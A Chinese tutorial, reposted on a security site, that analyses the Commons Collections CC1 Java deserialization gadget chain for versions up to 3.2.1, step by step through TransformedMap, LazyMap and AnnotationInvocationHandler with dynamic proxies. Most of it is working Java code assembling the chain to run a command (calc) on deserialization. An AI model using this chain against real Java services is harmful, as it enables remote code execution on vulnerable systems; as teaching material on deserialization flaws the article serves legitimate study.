学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

admin 2024年11月11日22:55:48评论9 views字数 11319阅读37分43秒阅读模式
前言

学习反序列化就肯定少不了学习CB,CC,CK等已有的链子来帮我我们理解各大反序列化漏洞的挖掘思路,漏洞利用,这里团队的XJiu师傅就带兄弟们先学习一下CC1这个经典链,它适用的依赖版本经常出现在框架,cms以及中间件中,兄弟们冲!!!

原理

通过反射调用类的方法达到命令执行

例:

Runtime.getRuntime().exec(“clac”); 学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

概述

反射调用

代码如下

package org.example;import java.io.IOException;import java.lang.reflect.Method;public class Main {    public static void main(String[] args) throws Exception {        Class c = Class.forName("java.lang.Runtime");        Method getRuntimeMethod =  c.getMethod("getRuntime",null);        Method getexecMethod = c.getMethod("exec",String.class);        Runtime run =  (Runtime)getRuntimeMethod.invoke(null,null);        getexecMethod.invoke(run,"calc");    }}

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

Class.forName------> 反射获得Runtime类

c.getMethod -------> 获得 getRuntime 和 exec

通过 getRuntimeMethod.invoke方法 得到Runtime 这个对象

execMethod.invoke 方法 执行命令

CC1

InvokerTransformer  

包 org.apache.commons.collections.functors

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

Transform  

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

这里发现通过反射调用类,通过invoke方法执行

本地调用  

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

这里直接调用InvokerTransformer. Transform方法,执行命令

查找Transform 的调用  

这里跟进当前类它得接口名 TransFormer

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

跟进

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

Protected 方法在类里面调用,无法控制,但valueTransformer 是可以控制得,继续跟进

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

跟进后发现 valueTransformer 得值是通过 TransformedMap 这个方法来传递得,继续跟进

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

发现 TransformedMap 的方法是上一个静态方法 decorate 的返回值,里面的参数是可以控制了。

(不可控)Checksetvalue (valueTransformer)----> (不可控)TransformedMap (valueTransformer)  ------> (可控)decorate(valueTransformer(可控))

Checksetvalue 怎么才能调用?

Next 跟进

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

代码实现

package org.example;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.IOException;import java.lang.reflect.Method;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class Main {    public static void main(String[] args) throws Exception {        Runtime run = Runtime.getRuntime();        HashMap         <Object< span>,Object> hashmap = new HashMap<>();        InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});        hashmap.put("value","value");        Map           <Object< span>,Object> transformedMap = TransformedMap.decorate(hashmap,null,invokerTransformer);        for(Map.Entry entry:transformedMap.entrySet()){            System.out.println(entry.setValue(run));        }    }}或者用这三句去替换 Runtime run = Runtime.getRuntime();Class clazz = Class.forName("java.lang.Runtime");Method GetMethod =  clazz.getMethod("getRuntime",null);Runtime r = (Runtime)GetMethod.invoke(null,null);

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

这里实现了 一半的CC1链(不完整)

NEXT

这里只用InvokerTransformer 去调用 runtime的方法的命令,代码如下

package org.example;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.IOException;import java.lang.reflect.Method;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class Main {    public static void main(String[] args) throws Exception {        //invokerTransformer 执行命令                          Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);        Runtime run = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(run);    }}

ChainedTransformer  

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

代码实现

package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class Main {    public static void main(String[] args) throws Exception {        Transformer[] Transformer =  new Transformer[]{            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})        };        new ChainedTransformer(Transformer).transform(Runtime.class);    }}

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

这里可以发现 Transform(Object obj) 这个obj 形参只能放Runtime.class 我们可以放其他的对象吗?

继续跟进

发现 org.apache.commons.collections.functors. ConstantTransformer

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

接口是Transformer

ConstantTransformer这个构造器是 给什么Object 就返回什么Object

代码里面跟进尝试

package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class Main {    public static void main(String[] args) throws Exception {        Transformer[] Transformer =  new Transformer[]{            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})        };        new ChainedTransformer(Transformer).transform("aaaaa");    }}

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

断点跟进  

最开始是“aaaa”

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

在往下面走 发现更改了

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

走进了InvokerTransformer.transform

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

反序列化漏洞就要用到ReadObject

这里去找一下ReadObject 哪里有用到?并且调用了setValue 这个函数

ReadObject  

查找调用setValue 的位置

Java1.8  sun.reflect.annotation.AnnotationInvocationHandler

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

过掉里面的逻辑部分,进入到memverValue.setValue

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

代码如下

package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class Main {    public static void main(String[] args) throws Exception {        Transformer[] Transformers =  new Transformer[]{            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})        };        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);        HashMap         <Object< span>,Object> hashmap = new HashMap<>();        hashmap.put("value","value");        Map           <Object< span>,Object>  transformedMap =  TransformedMap.decorate(hashmap,null,chainedTransformer);        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);        constructor.setAccessible(true);        Object obj =  constructor.newInstance(Target.class,transformedMap);        Seria s  = new Seria();        //s.seria(obj);                                s.unseria();    }}</Object<></Object<>

链条  

AnnotationInvocationHandler.reobject()--->

   Map(TransformedMap).entryset()--->

      ChainedTransformer.transform()--->

        ConstantTransformer.transform()--->

            TransformerMap.checksetValue()--->

               TransformerMap.setvalue()--->  

                  InvokerTransformer.transform()--->

最终进入

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

LazyMap

K

JDK 动态代理  

newProxyInstance  

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

newProxyInstance,法有三个参数:

loader: 哪个类加载器去加载代理对象

interfaces:动态代理类需要实现的接

h:动态代理法在执时,会调h⾥⾯invoke法去执

这里代码实现一下 newProxyInstance

Person 接口  
package org.jdk;                  



public interface Person {
void build(String name);
}

TestPerson  

继承接口 实现build方法

package org.jdk;
public class TestPerson implements Person{
@Override
public void build(String name) {
System.out.println(name);
}
}

PersonHandler  

这里继承 接口InvocationHandler  实现其invoke方法

package org.jdk;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;public class PersonHandler implements InvocationHandler {    private Person person;    public PersonHandler(Person person){        this.person = person;    }    @Override    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {        System.err.println("A");        method.invoke(person,args);        System.err.println("B");        return null;    }}

Proxy  

调用newProxyInstance

自动调用PersonHandler 里面的invoke方法

package org.jdk;import java.lang.reflect.Proxy;public class proxy {    public static void main(String[] args) {        Person person = (Person) Proxy.newProxyInstance(Person.class.getClassLoader(),new Class[] {Person.class},new PersonHandler(new TestPerson()));                       /*   Proxy.newProxyInstance() 参数                              loader: ⽤哪个类加载器去加载代理对象                              interfaces:动态代理类需要实现的接⼝                              h:动态代理⽅法在执⾏时,会调⽤h⾥⾯的invoke⽅法去执⾏                       */        person.build("hello");    }}
断点跟进  

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

来到PerHandler

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

调用build这个方法

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

走进PersonHandler.invoke 方法

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

然后打印

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

LazyMap.transformer  

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

LazyMap 继承Map接口,发现其get方法调用了transform 这个方法

This.factory 其类型也是transformer

这里发现当没有key的时候就可以调用到里面的transform方法

代码实现

ackage org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class Main {    public static void main(String[] args) throws Exception {        Transformer[] Transformers =  new Transformer[]{            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})        };        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);        HashMap         <Object< span>,Object> hashmap = new HashMap<>();        hashmap.put("value","value");        Map           <Object< span>,Object>  lazymap =  LazyMap.decorate(hashmap,chainedTransformer);        lazymap.get("aaaa");    }}

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

寻找get方法调用  

继承Map 接口

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

发现AnnotationInvocationHandler.invoke 方法中调用了get方法

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

发现起memberValues是可控的 并且类型为Map

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

动态代理 AnnotationInvocationHandler  

代码实现

package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class Main {    public static void main(String[] args) throws Exception {        Transformer[] Transformers =  new Transformer[]{            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})        };        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);        HashMap         <Object< span>,Object> hashmap = new HashMap<>();        hashmap.put("value","value");        Map           <Object< span>,Object>  lazymap =  LazyMap.decorate(hashmap,chainedTransformer);//        lazymap.get("aaaa");                                Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);        constructor.setAccessible(true);        InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class,lazymap);        Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);        proxymap.entrySet();    }}

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

用ReadObject 执行JDK 动态代理  

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

拿到这个类 执行其序列化的操作

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

让其反序列化

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

链条  

AnnotationInvocationHandler.readObject()--->

  Map(Proxy).entryset()--->

AnnotationInvocationHandler.invoke()--->

    LazyMap.get()--->

         ChainedTransformer.transform()--->

            ConstantTransformer.transform()--->

                   TransformerMap.checksetValue()--->

                 TransformerMap.setvalue()--->

                    InvokerTransformer.transform()

最终进入

学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

原文始发于微信公众号(小黑说安全):学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日22:55:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)https://cn-sec.com/archives/1875499.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息